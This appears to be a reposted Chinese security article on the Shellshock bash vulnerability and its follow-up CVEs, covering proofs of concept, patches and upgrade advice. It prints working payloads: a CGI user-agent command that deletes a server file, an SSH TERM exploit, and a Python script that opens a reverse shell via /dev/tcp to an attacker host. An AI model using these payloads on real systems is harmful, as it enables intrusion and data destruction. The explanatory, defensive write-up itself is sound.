<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/3064

    author: shawn

    0x00 什么是BASH


    Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,于1980年誕生,經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深 度整合的多功能接口。

    0x01 CVE-2014-6271


    法國GNU/Linux愛好者Stéphane Chazelas于2014年9月中旬發現了著名的SHELL實)的一個漏洞,你可以通過構造環境變量的值來執行你想要執行的腳本代碼,據報道稱,這個漏洞能影響眾多的運行在GNU/Linux上的會跟BASH交互的應用程序,包括:

    在sshd配置中使用了ForceCommand用以限制遠程用戶執行命令,這個漏洞可以繞過限制去執行任何命令。一些Git和Subversion部署環境的限制Shell也會出現類似情況,OpenSSH通常用法沒有問題。

    Apache服務器使用mod_cgi或者mod_cgid,如果CGI腳本在BASH或者運行在子SHELL里都會受影響。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情況都會受此漏洞影響。

    PHP腳本執行在mod_php不會受影響。 DHCP客戶端調用shell腳本接收遠程惡意服務器的環境變量參數值的情況會被此漏洞利用。

    守護進程和SUID程序在環境變量設置的環境下執行SHELL腳本也可能受到影響。

    任何其他程序執行SHELL腳本時用BASH作為解釋器都可能受影響。Shell腳本不導出的情況下不會受影響。

    OpenSSH, Apache2, php, dhcp client甚至帶SUID的程序。

    1,本地SHELL環境中測試是否有漏洞:

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    

    如果存在漏洞會打印"vulnerable"。

    2,C程序:

    #!c
    -----------------------------------------------------------------------------
    /* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
    #include <unistd.h>
    #include <stdio.h>
    
    int main()
    {
        char *envp[] = {
            "PATH=/bin:/usr/bin",
            "/usr/bin/id=() { "
            "echo pwn me twice, shame on me; }; "
            "echo pwn me once, shame on you",
            NULL
        };
        char *argv[] = { "/bin/bash", NULL };
    
        execve(argv[0], argv, envp);
        perror("execve");
        return 1;
    }
    

    測試:

    #!bash
    [email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
    [email protected]:~$ ./bash-is-fun
    pwn me once, shame on you
    [email protected]:/home/je$ /usr/bin/id
    pwn me twice, shame on me
    

    這個POC中可以看出BASH根本就沒有去處理結尾,后面我們可以通過補丁來看為什么。

    3,INVISIBLETHREAT上對于HTTP環境的測試:

    創建一個腳本叫poc.cgi:

    #!bash
    #!/bin/bash
    
    echo "Content-type: text/html"
    echo ""
    
    echo '<html>'
    echo '<head>'
    echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
    echo '<title>PoC</title>'
    echo '</head>'
    echo '<body>'
    echo '<pre>'
    /usr/bin/env
    echo '</pre>'
    echo '</body>'
    echo '</html>'
    
    exit 0
    

    把腳本放入測試機后,輸入:

    #!bash
    $ curl http://192.168.0.1/poc.cgi
    
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>PoC</title>
    </head>
    <body>
    <pre>
    SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
    
    HTTP_USER_AGENT=curl/7.26.0
    SERVER_PORT=80
    HTTP_HOST=192.168.0.1
    DOCUMENT_ROOT=/var/www
    SCRIPT_FILENAME=/var/www/poc.cgi
    REQUEST_URI=/poc.cgi
    SCRIPT_NAME=/poc.cgi
    REMOTE_PORT=40974
    PATH=/usr/local/bin:/usr/bin:/bin
    PWD=/var/www
    [email protected]
    HTTP_ACCEPT=*/*
    REMOTE_ADDR=192.168.0.1
    SHLVL=1
    SERVER_NAME=192.168.0.1
    SERVER_SOFTWARE=Apache/2.2.22 (Debian)
    QUERY_STRING=
    SERVER_ADDR=192.168.0.1
    GATEWAY_INTERFACE=CGI/1.1
    SERVER_PROTOCOL=HTTP/1.1
    REQUEST_METHOD=GET
    _=/usr/bin/env
    </pre>
    </body>
    </html>
    

    再來試試使用curl設置一個user-agent玩玩:

    #!bash
    $ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
    
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>500 Internal Server Error</title>
    </head><body>
    <h1>Internal Server Error</h1>
    <p>The server encountered an internal error or
    misconfiguration and was unable to complete
    your request.</p>
    <p>Please contact the server administrator,
    [email protected] and inform them of the time the error occurred,
    and anything you might have done that may have
    caused the error.</p>
    <p>More information about this error may be available
    in the server error log.</p>
    <hr>
    <address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
    </body></html>
    

    上面已經把/var/www/target給刪除了,再來看看:

    #!bash
    $ curl http://192.168.0.1/target
    
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL /target was not found on this server.</p>
    <hr>
    <address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
    </body></html>
    

    這個例子當中,內容被傳入 HTTP_USER_AGENT (CGI 會把HTTP頭當成環境變量解析). 最終變成這樣:

    #!bash
    HTTP_USER_AGENT() {
        :;
    };
    /bin/rm /var/www/target
    

    應該只解析函數的定義,但是后面的內容仍然執行了。

    4, 針對OpenSSH的POC

    目前有2個攻擊平面,Solar Designer給出了SSH_ORIGINAL_COMMAND的本地利用方法:

    seclists.org/oss-sec/2014/q3/651

    還有就是針對遠程利用的POC,通過利用TERM:

    在機器A上生成一對RSA key pair:

    #!bash
    [email protected]:~/.ssh$ ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in /home/shawn/.ssh/id_rsa.
    Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
    The key fingerprint is:
    09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc [email protected]
    The key's randomart image is:
    +--[ RSA 2048]----+
    |    ...          |
    |    .o .         |
    |     ooo         |
    |    o +.o.       |
    |     = =S.       |
    |    . * o E      |
    | o o . +         |
    |. = o o          |
    |oo . .           |
    +-----------------+
    

    把A的公鑰拷貝到機器B上:

    #!bash
    $cat /home/shawn/.ssh/authorized_keys
    command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ [email protected]
    

    一個用于控制command/SSH_ORIGINAL_COMMAND的腳本

    #!bash
    [email protected]:~/.ssh> cat /tmp/ssh.sh
    #!/bin/sh
    
    case "$SSH_ORIGINAL_COMMAND" in
        "ps")
            ps -ef
            ;;
        "vmstat")
            vmstat 1 100
            ;;
        "cups stop")
            /etc/init.d/cupsys stop
            ;;
        "cups start")
            /etc/init.d/cupsys start
            ;;
        *)
            echo "Sorry. Only these commands are available to you:"
            echo "ps, vmstat, cupsys stop, cupsys start"
            #exit 1
            ;;
    esac
    

    機器A上可以正常的使用限制腳本:

    #!bash
    [email protected]:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
    [email protected]:~/.ssh$ ssh  [email protected] $SSH_ORIGINAL_COMMAND
    Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
    UID        PID  PPID  C STIME TTY          TIME CMD
    root         1     0  0 16:47 ?        00:00:02 /sbin/init showopts
    root         2     0  0 16:47 ?        00:00:00 [kthreadd]
    root         3     2  0 16:47 ?        00:00:00 [ksoftirqd/0]
    

    借助TERM來利用:

    #!bash
    [email protected]:~$ export TERM='() { :;}; id'; ssh  [email protected]
    Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
    uid=1000(shawn) gid=100(users) groups=100(users)
    Connection to 192.168.115.129 closed.
    

    0x02 補丁和后續


    從最早GNU/Linux發行版社區收到的補丁:

    https://bugzilla.novell.com/attachment.cgi?id=606672

    可以看出BASH的確沒有做異常處理,而直接解析后就執行了。

    正式的社區補丁在這里:

    http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

    但由于補丁修復的不完整,導致了CVE-2014-7169的爆出,POC如下:

    #!bash
    [email protected] /tmp $ date -u > test_file
    [email protected] /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
    bash: X: line 1: syntax error near unexpected token `='
    bash: X: line 1: `'
    bash: error importing function definition for `X'
    Thu Sep 25 09:37:04 UTC 2014
    

    這個POC可以讓攻擊者能讀文件,看來后續的故事還沒結束...................(Sep 25 13:30 UTC 2014)

    UTC時間2014年9月25日上午,CVE-2014-7169被BASH社區修復,目前主要的GNU/Linux發行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已經提供了相 關的升級。

    2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:

    www.openwall.com/lists/oss-security/2014/09/26/2

    防御方案

    在各種GNU/Linux發行版里需要升級:

    Debian-based(包括Ubuntu):

    sudo apt-get update && apt-get upgrade
    

    Gentoo:

    sudo emerge --sync && glsa-check -f affected
    

    OpenSSH:

    加入no-pty
    

    后續故事

    這個漏洞引起的故事并沒有因為補丁而結束,因為這個星球上有太多人不會那么care這個漏洞,也就是說他們不會即時的去打補丁,而從攻擊者的一方而言,從漏洞公開已經出現了很多類似:

    ------------------------------------------------------------------------
        #
        #CVE-2014-6271 cgi-bin reverse shell
        #
    
        import httplib,urllib,sys
    
        if (len(sys.argv)<4):
                print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
                print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
                exit(0)
    
        conn = httplib.HTTPConnection(sys.argv[1])
        reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
    
        headers = {"Content-type": "application/x-www-form-urlencoded",
                "test":reverse_shell }
        conn.request("GET",sys.argv[2],headers=headers)
        res = conn.getresponse()
        print res.status, res.reason
        data = res.read()
        print data
    ------------------------------------------------------------------------
    

    的工具,Shellshock比heartbleed更容易自動化的去攻擊目標,漏洞本身的特性帶來了最糟糕的情況就是蠕蟲的產生,這種擔心已經得到了證實:

    https://gist.github.com/anonymous/929d622f3b36b00c0be1

    雖然目前的樣本不是蠕蟲,但很明顯,僵尸網絡的狂歡已經開始,從目前樣本的情況看,這是一個有C&C功能的botnet,"她"會先尋找busybox的目標,然后嘗試入侵目標機,之后嘗試提權,這個惡意軟件主要目的是利用肉雞來DDOS,攻擊者的下一個目標將會是WEB。

    通常來講,一個漏洞曝光到自動化利用會在24小時內完成,所以各位抓緊時間打補丁。

    [1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash

    97av